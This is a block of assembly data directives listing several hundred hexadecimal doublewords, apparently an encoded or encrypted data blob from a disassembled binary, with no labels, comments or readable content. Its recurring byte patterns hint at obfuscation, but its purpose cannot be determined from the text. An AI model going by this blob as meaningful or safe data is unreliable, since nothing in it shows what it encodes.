dd 48D6D732h, 56A3373Dh, 5EBEB132h, 62ABB132h, 85E62339h
dd 0D6B8396Eh, 589C49D1h, 41BAB132h, 0D180E148h, 0D9878E97h
dd 68AAF35Eh, 0EE5031F7h, 57B0353Dh, 0D612B132h, 0D27AB40Ch
dd 56BAB069h, 7B6331CEh, 57FF353Dh, 0D6A2B132h, 0D2A4D90Ch
dd 56D5B075h, 0A6684ECBh, 367DB1ADh, 0D6880B52h, 59B4A680h
dd 0DCAEB132h, 0DB016DFDh, 0EE42158Ch, 0D8A5F898h, 368B4771h
dd 56753F3Dh, 0DDDCB132h, 0AA3CD0C2h, 59B03A54h, 5657ACB7h
dd 0D7CDD132h, 0BE8CC1D3h, 56EAB122h, 0D6457DD5h, 21A4E117h
dd 36831D00h, 0EE55265h, 637D068h, 273F76B3h, 0D78BA819h
dd 0CB0CEFECh, 0B1F5D045h, 0DDDA48CAh, 8FD6D1F3h, 0D7C8D053h
dd 59BF30C9h, 56AB7BB6h, 5750BE32h, 0AEEAB132h, 596B3A54h
dd 56BAA8BDh, 45D6BE32h, 0BFAEB132h, 5657B13Ch, 0D2DB2EC1h
dd 9C22AED5h, 65574983h, 0B1F556D6h, 0BF42D1C2h, 565DB13Ah
dd 8683668Eh, 8A944CABh, 0AD2AD753h, 0D2DA71B3h, 56EAB1B1h
dd 5674313Dh, 0BF43B132h, 565DB139h, 96D067CCh, 4B9AA5F8h
dd 36820F8Ah, 0D6DAE4C7h, 56EAB13Fh, 56F8BE52h, 0E9BAB132h
dd 55D3F534h, 0CF3C4E53h, 595FB1ACh, 56ABB8B9h, 0AC5FD132h
dd 26150288h, 0BF28D079h, 56BAB138h, 5965970Eh, 0E9EBD4E6h
dd 0DFAB5F75h, 59424D77h, 4BD5B132h, 0A3A9523Dh, 1AA42A93h
dd 68B2A09Ah, 363C7118h, 56AB58CEh, 0FB44B132h, 372A0C94h
dd 5729CCB1h, 576F343Dh, 0DD89B132h, 0ACB8B088h, 0A30D4935h
dd 0C95E33B9h, 0D158B932h, 56ABB133h, 66E988CAh, 56EB303Dh
dd 0E8DB132h, 57E7333Dh, 5CB4B132h, 8CAEB132h, 6AADE393h
dd 0DAB5A61Fh, 136F3AA4h, 0AEED4B07h, 0DD7A4962h, 56BAB123h
dd 565DBDDBh, 0CD55F132h, 0AD3F8661h, 0D35CF111h, 0A6573A20h
dd 0AFE2B1ADh, 36458D0Bh, 56BABBDAh, 43795A32h, 6DBC7144h
dd 0DD08A7C5h, 0DDCDE9F4h, 598DD0CBh, 56EBB7BDh, 5EF4BE32h
dd 59BAB132h, 565DB3B2h, 0BFCFD132h, 5657B179h, 0AEEE76CAh
dd 56D5B130h, 56EB363Dh, 0BF80B132h, 56BAB105h, 0AE1876CEh
dd 56AEB133h, 5657A0DBh, 0AF3CA632h, 36D497F5h, 0F0D1B262h
dd 4ABEF9D1h, 42534FCAh, 265DB132h, 3521D706h, 786058BFh
dd 36744507h, 5CA6257Ch, 0DD88AC4Dh, 56EBB188h, 4931493Ah
dd 5986BACAh, 56AE27B6h, 5ED1BE32h, 59ABB132h, 56D5B3B6h
dd 6D8BD132h, 5F0BEECh, 36BAB132h, 565E373Dh, 0E1A1B132h
dd 2AEDD7F4h, 0B20D026h, 2B564D3Eh, 0D2E5B1CAh, 5675B117h
dd 56B2363Dh, 0D952B132h, 56AEB130h, 0B54D052h, 56A458CAh
dd 8BAAB132h, 1342711Eh, 0E8208CF6h, 4360000Eh, 5202387Eh
dd 56A63B3Dh, 5937B132h, 0DDCD738Dh, 9156D0E5h, 0D5034D26h
dd 0BF8A4ECDh, 56BAB138h, 84B41FD0h, 76D6A112h, 96642674h
dd 56ABB9DBh, 0D8C9F032h, 7FD89345h, 52BC58D6h, 304FB132h
dd 363DAFB9h, 30CFD052h, 37D08F8Ch, 0BFA7CCB9h, 56D5B120h
dd 8831819Fh, 76C1E067h, 0AE980410h, 0DA1144A6h, 0AD2E80CEh
dd 10D3BED9h, 36ABB132h, 0B19A0B54h, 375C5EB2h, 0A38552B2h
dd 264131CBh, 563A353Dh, 0D7CEB132h, 9DD5E6FDh, 5F42D07Fh
dd 59D5B133h, 56EAADBDh, 40F3BE32h, 0BFBAB132h, 565DB123h
dd 401E0108h, 9F1F9020h, 0C3E66E85h, 0B9495E84h, 0BFED77D0h
dd 573276C7h, 56BAB132h, 8DEABE52h, 56A8363Dh, 8CD6B132h
dd 203BD985h, 59123A53h, 56EABBB1h, 0F27D132h, 56BA353Dh
dd 0D53CB132h, 0BF57B4F2h, 5657B529h, 516CD7CEh, 0D8DAB93Dh
dd 56EAB128h, 56655852h, 237BB132h, 0A2507614h, 0F8DA2E25h
dd 0EED2F479h, 0E9A431E4h, 463CD0FDh, 9FEAB132h, 0AF4CEAD2h
dd 9F26C033h, 57D1CEC1h, 0DC9033BCh, 57DEBE2Ch, 0AAABB132h
dd 36DA52B2h, 0FDC10A61h, 42EB502h, 22A75BB3h, 3704D46Fh
dd 362E7AB2h, 0D5B7FE8Ah, 37633A00h, 0BFD4EEBAh, 56EAB139h
dd 0B51F23F2h, 4F2B289Eh, 91AEF360h, 56AEB375h, 0DDA2B132h
dd 962844F5h, 453CD134h, 9BEAB132h, 4B7AC2Dh, 412219AFh
dd 3BBAC391h, 2A60FA0Bh, 0D731C3BAh, 37298FD0h, 56D6C3DBh
dd 5763BE32h, 0A375B132h, 0C6843054h, 0D9D9BEA2h, 0BFAEB132h
dd 5657B13Fh, 75CA2576h, 62716A94h, 3B3C6E48h, 0C64B31C0h
dd 5630343Dh, 44B4B132h, 90AEB132h, 713A2CBBh, 0B0BE25EAh
dd 8482A80Eh, 8138077Ch, 56665841h, 0DDBEB132h, 0E3013F21h
dd 6FB7C70Eh, 9AD7F06Dh, 0F25A06C9h, 2854D728h, 597A21CDh
dd 567588B6h, 4653D132h, 0D35DB132h, 81846EECh, 0EE8F3A89h
dd 0A235C001h, 0AEEC53DCh, 5E62BE53h, 3675B132h, 58307AB3h
dd 0BF3C9E6Bh, 56AEB116h, 0AEEED752h, 0DEA4E207h, 56D5B132h
dd 9161D068h, 95A63152h, 0BFDB68B9h, 565DB3F1h, 56AF303Dh
dd 0AAAFB132h, 0F65B33BFh, 5B5B932h, 82D3A54h, 5675B8DBh
dd 0E9F70832h, 7C2FDDADh, 6CFFE5Eh, 0A30148CAh, 0C80623CDh
dd 0D6DAB932h, 56EAB134h, 0DDAA0352h, 0D2B5D0E5h, 565DB133h
dd 596EBACAh, 5657F3B6h, 56B95832h, 6BABB132h, 0FADF6765h
dd 7BB23719h, 6A8AC9B2h, 63D16211h, 0DB5779B9h, 56F74180h
dd 0A342443Ah, 0BFD5B132h, 56EAB13Ch, 40CF2515h, 7FA85F56h
dd 9516ED36h, 0CE6AA0h, 300DD052h, 0CA61B9h, 56D5B7DBh
dd 0FCD1B632h, 59790BD8h, 56BAB6BCh, 57D6BE32h, 0A3AEB132h
dd 0BF377FB9h, 56ABB13Dh, 0FAF37E6h, 0FFD813FCh, 0ACA8A407h
dd 59A93C8Fh, 33C4185h, 56AEA5DBh, 0F06D9332h, 4E2DD3Eh
dd 24C91420h, 0F6E4DC48h, 0F29F657Ch, 0CF284E57h, 5955B1ACh
dd 56AEB6B6h, 57DFBE32h, 0AFABB132h, 5A58BE6Fh, 59EAB132h
dd 5675B7B0h, 5638BE32h, 7D5DB132h, 5147D1FCh, 8B57B132h
dd 11A41013h, 0A1B48F8Ch, 2852D1EBh, 6632CADh, 56BAA2DBh
dd 62847F32h, 75916E2Bh, 0EFB4BC16h, 0BCAC3BD0h, 0E8CE67E7h
dd 308AD069h, 77546B3h, 660559B3h, 83CF65Bh, 56BD5852h
dd 0FBF9B132h, 77A8A7E1h, 0EEB9BCFDh, 0B982DA65h, 554F30ECh
dd 0D7DAD0D7h, 0ACC27FE5h, 37CFD17Ah, 57AFCCB1h, 560B343Dh
dd 30B5B132h, 0E1E540B9h
dd 1FC5D0CBh, 56B55852h, 4755B132h, 6DF265DAh, 0F8C9FA5Bh
dd 0D8C12EFFh, 0AA7FD027h, 0D3E50954h, 5668373Dh, 0D1B5B132h
dd 565DB125h, 56AEA3DBh, 83EF3B32h, 0A40BCAEh, 951CFD92h
dd 0BC9372BAh, 30F71C65h, 0DDDCD199h, 565359FCh, 0C8DBB132h
dd 0F63991E2h, 11F7915Ch, 9A836D7h, 37B3E863h, 5733073Dh
dd 56BABDDBh, 0DCA4832h, 11B37364h, 0EC476AEh, 0D8A41AB3h
dd 56D5B120h, 56ED5952h, 67B7B132h, 18046685h, 0DD3BEBB8h
dd 0F347D0EAh, 5957B132h, 56ABB0B1h, 2B564932h, 0D3E5B3CAh
dd 5675B14Ch, 56BAB4DBh, 0F1E9FF32h, 5D47E694h, 4C57B132h
dd 0D7BDA09Ch, 5FCA2830h, 0EE8CB0C8h, 59157839h, 30DB6385h
dd 0D73BD199h, 0EC6EA2E1h, 6086D835h, 5913D753h, 533CD1B6h
dd 0CDEAB132h, 0A0CD1484h, 56BAB9DBh, 0B89F5032h, 0F8785F92h
dd 0FD31D0E7h, 56BB383Dh, 0BFB5B132h, 56EAB135h, 1E68ACA2h
dd 0E76029C7h, 0E052D002h, 0D2A1B074h, 5657B134h, 8D13D752h
dd 0AA7ED084h, 56EAA6DBh, 0F2864432h, 56B4333Dh, 5FB4B132h
dd 56AEB132h, 0EC6C4674h, 0B71D3E21h, 362C76B9h, 56EAB9DAh
dd 84DBAC32h, 0E3B9BB8Dh, 590748CBh, 0DCF7B8Dh, 56563F3Dh
dd 0F53B132h, 0DFDAEFCBh, 56EAB12Ah, 56673B3Dh, 5B53B132h
dd 965DB132h, 4F860706h, 0FAE30C19h, 1C25682Ah, 503CD16Dh
dd 0E8EAB132h, 521C652h, 8505BEECh, 0DA527853h, 56AEB135h
dd 56563C3Dh, 945EB132h, 0D5DAB13Ah, 56EAB133h, 0A315E4CAh
dd 0FC080E54h, 36B13A53h, 56AC3E3Dh, 7BE5B132h, 9514BE52h
dd 37B40482h, 56EAA1DBh, 0E1C35C32h, 874845F0h, 0CD8BE4F7h
dd 0E4D2C9DEh, 59BED113h, 50ABB132h, 0B140280h, 0BFF3778Fh
dd 226DD0E9h, 5652B253h, 0C5DB132h, 98B85BB3h, 0BFABB932h
dd 56ABB135h, 0B0C3AD5Bh, 0DD374F8Dh, 0AF8DB977h, 0C8F933BBh
dd 0A33DB932h, 56BA343Dh, 58BFB132h, 0B1ABB132h, 9B58CEC8h
dd 99F0004Eh, 8C11335Eh, 37DBEAF8h, 565B343Dh, 7CEB132h
dd 3736D16Ah, 52694DFBh, 56D25832h, 1821B132h, 0FDBE443Fh
dd 0DDDAE477h, 0BAD6D0E8h, 56AF313Dh, 0D5A2B132h, 365E49F6h
dd 56D93D3Dh, 0D6E5B132h, 5675B134h, 56BA343Dh, 56B5B132h
dd 0CAEB132h, 98CD5BB3h, 0BF53B932h, 56D5B135h, 0A6A5DD18h
dd 0AA4C3FB4h, 5642F4F5h, 0A35DB132h, 5652F4F5h, 0BF57B132h
dd 56ABB13Bh, 9CF69457h, 93BEE047h, 59B58288h, 56BAA6B3h
dd 47DDBE32h, 0BFAEB132h, 5657B13Eh, 0E4E0FEEh, 0DC6BCAA1h
dd 0A4EB2D9h, 0BF6B3A54h, 56BAB13Bh, 4E762F0Ch, 4049D43Ch
dd 5BD4BE3Dh, 36ABB132h, 8A3E3054h, 51C3035h, 377C61EBh
dd 0C94A33F5h, 565CB932h, 4247B132h, 5B57B132h, 0F6515F0Eh
dd 0B665BB88h, 0C6B573CAh, 0D388A262h, 309DBC12h, 0C6CD4AB3h
dd 56A9343Dh, 0D658B132h, 56ABB133h, 0BE2E31CBh, 53CF353Dh
dd 415B132h, 56B2586Dh, 637BB132h, 698DB9CEh, 1636EDF5h
dd 395E3152h, 0E1033054h, 0AD6AD06Fh, 56F1BEDBh, 0BFBAB137h
dd 565DB135h, 0AAC4D4A1h, 16146145h, 56ABBDDBh, 0BD867E32h
dd 0C3260B98h, 0E6A4268Dh, 0BD4131B3h, 5284353Dh, 0D7CEB132h
dd 0D04605D8h, 2510D76Fh, 3695D093h, 373C3A54h, 4BC20B52h
dd 5152FF60h, 0E25DB132h, 9AE84659h, 5EBE31F3h, 15ABB132h
dd 0EBA46147h, 0FB85B00h, 0A6923153h, 56BAB8DBh, 0EE46B932h
dd 86F9A62Eh, 0D958E3D1h, 56ABB13Ah, 56D7343Dh, 378AB132h
dd 598E3054h, 2A3EBEB2h, 0BF5DB136h, 56AEB123h, 0FA8389E7h
dd 0A868A68Ah, 0EBE4F9CBh, 0CDC5C040h, 8BF7B265h, 0BFBD4B12h
dd 565DB13Bh, 416D8F61h, 6B573016h, 0D5A4F18Bh, 56D5B13Eh
dd 56EAB6DBh, 399F1032h, 0E27191A1h, 5645363Dh, 4547B132h
dd 9857B132h, 0C89E49CBh, 5D552722h, 3DBF692Ch, 0FC40ADC4h
dd 0AD3A59F6h, 51D9BED0h, 36AEB136h, 2B93054h, 0E7690839h
dd 0D6B4D14Fh, 0D2E552C9h, 5675B28Ch, 56BAA2DBh, 0F9E6CA32h
dd 17007BC0h, 59A5A373h, 0A1B6833Ch, 0D3C6098Ah, 31113054h
dd 99F1BED1h, 59BAB131h, 565DB9BEh, 5422BE32h, 3657B132h
dd 0A6483153h, 59850052h, 56EAB2B8h, 0A0993132h, 26413153h
dd 55E4353Dh, 30CEB132h, 30F8CA88h, 0AACA7BB9h, 59CB3A54h
dd 56EA99B5h, 469CD132h, 0C6BAB132h, 0D2215B4Eh, 0EFA1E281h
dd 9B944D44h, 0BF8B3650h, 56D5B13Eh, 0A4DCB5Eh, 0DFF72A2Eh
dd 0D4262543h, 0AEBE3153h, 56A05852h, 0B5A3B132h, 4F22CB64h
dd 0DDBBDCE8h, 42BC245Fh, 0A61F51B3h, 0D6DB8AD1h, 0D25209C9h
dd 56AEB0F1h, 54D0BE52h, 0E5ABB132h, 5A5CBE0Eh, 0BEEAB132h
dd 5675B134h, 0F45DC088h, 37037323h, 59AB8FB2h, 56562FB6h
dd 5D42D132h, 0D7D5B132h, 25BB2B60h, 0ABD99683h, 0DDDC364Ah
dd 68DDD0FDh, 0D62ABE1Fh, 5957B133h, 56ABA4BFh, 56C55832h
dd 795BB132h, 0E9397F69h, 0DAB7DEF6h, 0E94D0C9Dh, 682E684Ah
dd 0AD3BE5Ah, 36ABB133h, 9A1B3054h, 168B4895h, 5675A5DBh
dd 9D9A2232h, 19B5D386h, 73F5AD2Eh, 5D0249ABh, 0FBBAD6AFh
dd 0A6574EBEh, 59E2B1ADh, 5675B6BAh, 5737BE32h, 0A35DB132h
dd 36B03A54h, 0B1D7D0CBh, 56A258CAh, 974BB132h, 9E1B0250h
dd 30A0877Ah, 0BE3B4AB3h, 5758353Dh, 0DEA1B132h, 5657B12Bh
dd 56B8383Dh, 583CB132h, 7DEAB132h, 0F1AA13Fh, 4F9AE01Bh
dd 0BA846781h, 4825D784h, 5E20A52h, 0D8A4A1C2h, 56D5B136h
dd 2B320854h, 0A6923153h, 56BAA0DBh, 0E20E732h, 0AAECD409h
dd 0C79F3DDh, 253D241Fh, 0D7B3E4BEh, 592A30C9h, 56751FB6h
dd 36DA4432h, 53B466B9h, 93AEB132h, 8F4D425Ch, 0D7CBE453h
dd 0DF2F28EAh, 56ED584Dh, 94F6B132h, 202ED2FAh, 0C4A2D093h
dd 5EAE2FABh, 564A3B3Dh, 0DDA4B132h, 56D5B125h, 56EAA3DBh
dd 0EBDB7F32h, 913DFE6Bh, 0E1841266h, 3276E6DDh, 0BAAB54Ah
dd 56B83B3Dh, 583CB132h, 96EAB132h, 0DA736DEDh, 4AB318ACh
dd 47BB1184h, 0AAEB382Ch, 5657A2DBh, 26D3F132h, 0D62ED6F5h
dd 567897F4h, 5CE2A3D6h, 0B2E1CC59h, 593DD0CAh, 56AEBDB5h
dd 56515932h, 0EAA5B132h, 78835E62h, 2B69D06Bh, 0D37AB0CEh
dd 56BAB754h, 565DB7DBh, 0B1783832h, 0DD0B9303h, 0ACA9B088h
dd 56C15835h, 7FEDB132h, 0D38CF495h, 0E50CB0D6h, 7B632437h
dd 0DE8BD903h, 59072D37h, 56ABB6B3h, 875ED132h, 371B3A54h
dd 0C98533B9h, 0BEDAB932h, 565DB13Dh, 44CCF737h, 3F2BD4A7h
dd 0FB89D44h, 368CC367h, 6F8BEB53h, 0E8C810Eh, 50BE333Dh
dd 0D752B132h, 56AEB133h, 13ED3ACBh, 0BFAC4B07h, 56D5B13Ch
dd 4333507Ah, 0C94E8BFBh, 0D8DE07FAh, 0AF0DEF1Dh, 0A62C3AC7h
dd 0BF5FB1ADh, 56ABB138h, 32D4F33Ah, 0CE821F61h, 6A4C28E5h
dd 2904D102h, 305A7342h, 37C48D8Dh, 0E1D8BE6Ah, 59ABB137h
dd 56D5BAB3h, 0D9E5D132h, 5675B132h, 37653A54h, 0C8450BB9h
dd 0AECEB932h, 0D4D44953h, 5EAB2F2Ah, 615C4826h, 0DDE5D152h
dd 5675B132h, 56BAB9DAh, 0C7CBA232h, 0E061352Ah, 0AA36EE13h
dd 46EC3853h, 56C33B3Dh, 4703B132h, 0F675B132h, 7DE6D59Eh
dd 0C98208A4h, 67FB0F7Eh, 29978812h, 56ABA0DBh, 0DD10F632h
dd 53684E40h, 77BB67FCh, 343AC69Eh, 0BF0D3ECEh, 56AEB13Ah
dd 800CA672h, 6AE569A3h, 0C92533B9h, 0DD12B932h, 599C812Eh
dd 39BAB132h, 0C9634641h, 0A98B98E7h, 0A1021DADh, 0AFF353B2h
dd 0A3DDEEBBh, 56EFBCDBh
dd 13B24932h, 56BAB3CAh, 42B4D132h, 47AEB132h, 860576C7h
dd 3813DCA6h, 2C69E95Ah, 2ECB13A5h, 30F96069h, 0BFDB68B9h
dd 565DB129h, 8211D752h, 31B731DAh, 136C4853h, 56D5B0CAh
dd 9961D132h, 7D063B3h, 0DDDBA10Ch, 56C3A988h, 4E20BE3Ah
dd 3657B132h, 821C488Dh, 56D95802h, 3BFBB132h, 9A5C5B81h
dd 92139200h, 0D53C7B13h, 5630A9B0h, 0D458A53Ah, 56ABB124h
dd 0BF8BE052h, 56EAB13Fh, 579F4A73h, 85D4544Eh, 57FC6A1Bh
dd 6127D07Bh, 56563F3Dh, 0DF53B132h, 473CA175h, 41EAB132h
dd 0ED15E3C5h, 76FF8D60h, 889F40FFh, 91B0110Ch, 595449B1h
dd 56AB8FB7h, 56D25832h, 117EB132h, 1334FBDFh, 0A6387621h
dd 5455B1ADh, 0BFAEB132h, 5657B13Ah, 0FEC4C81Ch, 3BCC7388h
dd 56EAF5DBh, 56645832h, 0C913B132h, 88BFF4A4h, 98159D6Ch
dd 9AB5C25Eh, 0D50C1AEFh, 0DBDAB3CAh, 56EAB394h, 5675A5DBh
dd 3D1EC132h, 0C21A5435h, 0C02BB2A8h, 76595C11h, 0B37E820Eh
dd 56D2585Fh, 0FAD5B132h, 6C6A45C7h, 0AEC73203h, 0E9D9BE32h
dd 36AEB132h, 1F91888Ah, 0E0A4D02Ah, 0BFB5B074h, 56EAB120h
dd 0DFCB293Bh, 81657097h, 2D4CE24h, 1225C68Fh, 0D73157CBh
dd 3709BFD0h, 56D5319Bh, 676FBE32h, 0AA75B132h, 56B35872h
dd 0A6A0B132h, 0CF03FD76h, 366F51C2h, 0A3B471B2h, 533D3253h
dd 56E6323Dh, 0D87AB132h, 56BAB134h, 565D393Dh, 6A47B132h
dd 0AA57B132h, 56AB4E1Fh, 783D132h, 30BCEE6Dh, 0FC51988h
dd 53523253h, 42B4E352h, 0F0AEB132h, 2D153B7Dh, 0A486B5Dh
dd 0CE54FD4Ah, 0AAE1BFF4h, 0C7263B4h, 56BE303Dh, 0EF3BB132h
dd 0BFCF2818h, 5657B14Bh, 56BF58CBh, 48A1B132h, 4E874541h
dd 3B509642h, 0BB3EF74Dh, 0BFCEE6Bh, 0BFFD506Fh, 5657B122h
dd 0E8A33F1h, 3948BFDh, 0C1D65598h, 8DC65DB6h, 0C94A2BB9h
dd 0E73DB932h, 4014D71Bh, 52DCD06Ah, 56A75801h, 8224B132h
dd 8450A945h, 0DF662D61h, 5C53C292h, 5A5DB132h, 40B41F27h
dd 4FF00CB6h, 4442EA2Ah, 0C6D5B132h, 0EBDDE9Ch, 70EE7187h
dd 4934A5AFh, 797904E6h, 56AE1826h, 0D3583132h, 56ABB1E2h
dd 85033052h, 30E8819Ah, 0A87756B3h, 0BF7CB253h, 565DB134h
dd 49A6F998h, 0D8586ADCh, 56ABB123h, 56D5BDDBh, 8FD84332h
dd 947BEEF2h, 2E61AB17h, 539D32F7h, 56AD3C3Dh, 0AF37B132h
dd 0A629B253h, 59DDB1ADh, 56EAB9B5h, 54F8BE32h, 36BAB132h
dd 51D9BE53h, 36AEB132h, 0DC846CB2h, 36E3D0CBh, 995ED1CAh
dd 371B063Dh, 5BF1BE53h, 0BFBAB132h, 565DB13Ah, 0E774A4D2h
dd 6766C5DAh, 59A3F6BBh, 56D5B0B7h, 11634D32h, 45F7BE3Eh
dd 0BFBAB132h, 565DB13Ch, 0EBC45DDFh, 21C4650Fh, 31CBEA3h
dd 583C9872h, 23EAB132h, 247FEECh, 136A581Eh, 0AE1FF84Eh
dd 57525886h, 47BEB132h, 0B0ABB132h, 4D269447h, 1DCAA2D7h
dd 0C7C0E55h, 1E81ACFCh, 0E53D69C5h, 502CBEB5h, 5957B132h
dd 56ABB1B4h, 90FED032h, 593246CAh, 5675A1BAh, 56B15832h
dd 97BAB132h, 113B553Bh, 4A7486F6h, 536B32A2h, 0A657B2C7h
dd 59E2B1ADh, 5675B0BCh, 1E4F4D32h, 0E6E5D752h, 0D9A1D04Bh
dd 5657B133h, 5EEC38CEh, 56D33A3Dh, 368AB132h, 372DE653h
dd 59B6F6BBh, 565DA2BAh, 5B2DBE32h, 0BF57B132h, 56ABB13Ah
dd 0C22C83E0h, 0F16A13F6h, 5674D8DBh, 96894432h, 565A353Dh
dd 0DAA1B132h, 5657B133h, 57ED3BCEh, 298C0B52h, 0FE8BDFF4h
dd 0E7F0BEB2h, 36BAB132h, 565DB4DBh, 4089FA32h, 41E5CB7Dh
dd 0AA6DB253h, 0A3D771B1h, 56EAB089h, 8D7E4932h, 5688353Dh
dd 0DCA8B132h, 0A911B1A8h, 5CDCBE35h, 36ABB132h, 0D5DA2585h
dd 56EAB132h, 0B5F54853h, 56A85833h, 0B3B8B132h, 69EB544Fh
dd 90AA6B3Bh, 7943F36Bh, 9E77CD3Ah, 0D6E57231h, 5675B120h
dd 56BABCDBh, 0F4CCD132h, 0A4AC4139h, 8519C8ADh, 1122A73Bh
dd 5A54BE3Ah, 0BFEAB132h, 5675B135h, 762623D8h, 0DFE68248h
dd 0D5A1BD75h, 5657B120h, 56ABBCDBh, 368BFB32h, 598900E5h
dd 2292D27Bh, 0F553F044h, 0BF5DB132h, 56AEB13Ah, 6639B58h
dd 51861D85h, 423C69C5h, 85EAB132h, 0B3C36A7Ah, 65C9DAF2h
dd 1F437B70h, 980BC55Eh, 5956B204h, 56ABB0B9h, 0A9F04432h
dd 36EAB132h, 0AA686FB3h, 0DEB595C5h, 565DB132h, 59689A53h
dd 5657A4B0h, 56BB5832h, 0B148B132h, 38E34A6Ch, 0DC6A75DDh
dd 2E74BE80h, 8EAA434Ch, 0E5990A52h, 0A1DC9EE5h, 546B3253h
dd 56D5A2DBh, 6D31CA32h, 0AA3A792Ch, 0F92D1C58h, 4270026Ch
dd 644F222Ch, 595FF6BBh, 56ABBAB1h, 56D35832h, 8503B132h
dd 0BC50A3E0h, 36B6F6BBh, 3FAB3054h, 3656D043h, 0E5420E54h
dd 37540E3Dh, 56D5B8DBh, 0C0349B32h, 424B5B84h, 0AFDBBFA3h
dd 7FEDD1FBh, 562BBE52h, 3057B132h, 37A3F58Dh, 463C7253h
dd 0E5EAB132h, 8861DC4Ah, 4C78A4EAh, 9FDA8000h, 38F4396h
dd 59BB3ACBh, 56ABB6B9h, 575FBE32h, 0A3EAB132h, 598975B1h
dd 56BABDB0h, 50DFBE32h, 59AEB132h, 5657B1B1h, 0D8A4D132h
dd 56D5B13Ah, 53300952h, 3780D467h, 543EBE52h, 0DC5DB132h
dd 0D7C8D1CCh, 0EC319BE4h, 2E7CD60Dh, 563DD053h, 0CEAB132h
dd 8FBF5BB3h, 0D6B5B932h, 565DB133h, 0EC2544CBh, 5E572F32h
dd 72BF0E52h, 5984A77Bh, 56EAB1B1h, 6514EE32h, 5731BEFBh
dd 0AA5DB132h, 59AE8EB1h, 565317B6h, 0DDCB4432h, 0DDB44DC0h
dd 4461BE35h, 0BF75B132h, 56BAB13Fh, 0B33CCFEBh, 12CC0943h
dd 46E88984h, 56AC5833h, 0F879B132h, 1DABE961h, 5A004E04h
dd 8E3B4D52h, 4FC5BA14h, 5EDB4E53h, 3637E1CBh, 0D7CDD052h
dd 3774C7E0h, 3720063Dh, 567D3E3Dh, 0D8B5B132h, 565DB130h
dd 0B246D052h, 3657B13Ah, 59CB7FB9h, 56D5B1B1h, 5D8BD032h
dd 3F0BEF2h, 36BAB132h, 85DCD7CEh, 0DDCF8872h, 58BED135h
dd 0E7ABB132h, 5FEF767Fh, 0A7E4FDBDh, 0FE264FEFh, 0BA29094Ch
dd 0BF3CA722h, 56AEB170h, 56455852h, 38F9B132h, 11082130h
dd 3BB05FEEh, 6E3208DCh, 28D3A584h, 565DBFDBh, 0B22F9132h
dd 20B465BFh, 0DEE700C4h, 373E7C10h, 0A3FE76B1h, 0A98A96DBh
dd 0D7B5D1CDh, 565DB132h, 8519BE65h, 13DED06Bh, 4422BECEh
dd 0BFD5B132h, 56EAB13Fh, 0CEDC4EADh, 3480976Ch, 94A054Ch
dd 5046D1ADh, 0CF57B132h, 69AF33FEh, 8955EB8Ch, 2315D088h
dd 567B583Eh, 0DC5DB132h, 117CFA58h, 0AE5B19A2h, 51D7F333h
dd 59A3C4CDh, 56D5B0B4h, 61154432h, 5E6459CEh, 30DAB132h
dd 95DC61B9h, 740053B4h, 5997BA53h, 56AB95B6h, 5A5BBE32h
dd 59EAB132h, 5675B7B7h, 5636BE32h, 0BF5DB132h, 56AEB279h
dd 5657B9DBh, 0C2502A32h, 37AC51Ch, 0AAAF3A5Ah, 567F3C3Dh
dd 59DAB132h, 565DB1BAh, 37CFD132h, 0D458B60Bh, 56ABB211h
dd 0AA904EC7h, 56E1313Dh, 5915B132h, 9C3B4A8Dh, 5BC21CF8h
dd 52D13253h, 6FD3BE32h, 36ABB132h, 5A3CD052h, 36EAB132h
dd 7E159864h, 7012FAA1h, 379C5C6Eh, 56A2CEB1h, 564D353Dh
dd 0D6CBB132h, 995E35D7h, 56915853h, 5F9CB132h, 9DBAB132h
dd 738B36CAh, 0AFE15AE4h, 0A9A84E8Ah, 0D7A4D1CDh, 56D5B134h
dd 56EA3E3Dh, 5B9CB132h, 60BAB132h, 0ADB21AB7h, 62FBA27Ah
dd 1A40AA47h, 53124953h, 0BFD5B132h, 56EAB137h, 325F0B72h
dd 0FD494DF0h, 565DA5DBh, 22CA3532h, 2B032EFh, 5FC77DB1h
dd 919800CBh, 1A65B808h
dd 0A8AD583Ch, 36DA4ECDh, 52A82D8Ch, 8F11BE05h, 53DEBE53h
dd 30ABB132h, 0C84567B3h, 46953253h, 23F1BE37h, 0AABAB132h
dd 504DCEB1h, 5621343Dh, 17ABB132h, 56A1303Dh, 533CB132h
dd 0AAEAB132h, 0FCF45FD7h, 0BFBEF6B9h, 565DB139h, 0D0D27D41h
dd 0A21E860h, 0DDEFDB6Fh, 0D6B5BD6Dh, 368B9AEFh, 610466B3h
dd 0BFDBBCCEh, 565DB0F2h, 56A1353Dh, 5CBEB132h, 6FABB132h
dd 11D7DEC1h, 0DAC7AA89h, 43F4BE7Dh, 0BFBAB132h, 565DB122h
dd 0FD3707C5h, 6B903F1h, 488F2F13h, 0CA62F1D1h, 36EEF6B9h
dd 0A1FED7CEh, 5AE53A53h, 573C58CAh, 5847B132h, 0F657B132h
dd 0DD326741h, 0AD8CF0E4h, 0ECFE98B0h, 52323AA4h, 56BAB6DBh
dd 2B75BB32h, 8FA93EF8h, 595BEEB9h, 56ABBBB2h, 686DD132h
dd 308FBAE7h, 6D1443B9h, 0D3B5B96Dh, 565DB1B9h, 56A958CAh
dd 6F74B132h, 5D5C27C3h, 0DD2CE3C5h, 7D16B565h, 5580A167h
dd 0BFDAA567h, 565DB120h, 0C49E5F60h, 0A905D588h, 2CC0C890h
dd 496E3A7Eh, 9C6ADB49h, 9FED096h, 4253483Eh, 675DB132h
dd 0AFA29818h, 0A405AECh, 0BEFD201Eh, 7F171BD1h, 7D93AC66h
dd 0E813D1E8h, 0D7DCEA1Ch, 377CA8EDh, 0BFAB5AB1h, 5657B134h
dd 0EE4CA69Eh, 0AF8FDE3Ah, 56EACDDBh, 56645832h, 0D421B132h
dd 0CAC9C0BBh, 0E2B505B0h, 2F34EA00h, 0DD1D6478h, 0DD29B575h
dd 0BE8ABD6Dh, 5675B121h, 0BB475A1Eh, 0B7DEA64Ah, 0E3DC8830h
dd 0BB034840h, 5990DC1Bh, 56D5B1BEh, 9C61E932h, 522A9A53h
dd 0BEA70052h, 565DB126h, 9DE518Ah, 0C427CCCCh, 0C49FCDC8h
dd 89445644h, 82838B15h, 0BDF6D06Ah, 0DCB94437h, 51A790E3h
dd 56AEBDDBh, 73DDA932h, 81B995E0h, 0F3AC6581h, 469532C3h
dd 7EF0BE31h, 36BAB132h, 379A063Dh, 56A85873h, 5E85B132h
dd 0B515831Bh, 56D5A3DBh, 0BF7ABF32h, 0CA53D9EEh, 777CA446h
dd 73879006h, 7DED6690h, 0ED00D1EBh, 4C5E6279h, 56D8586Dh
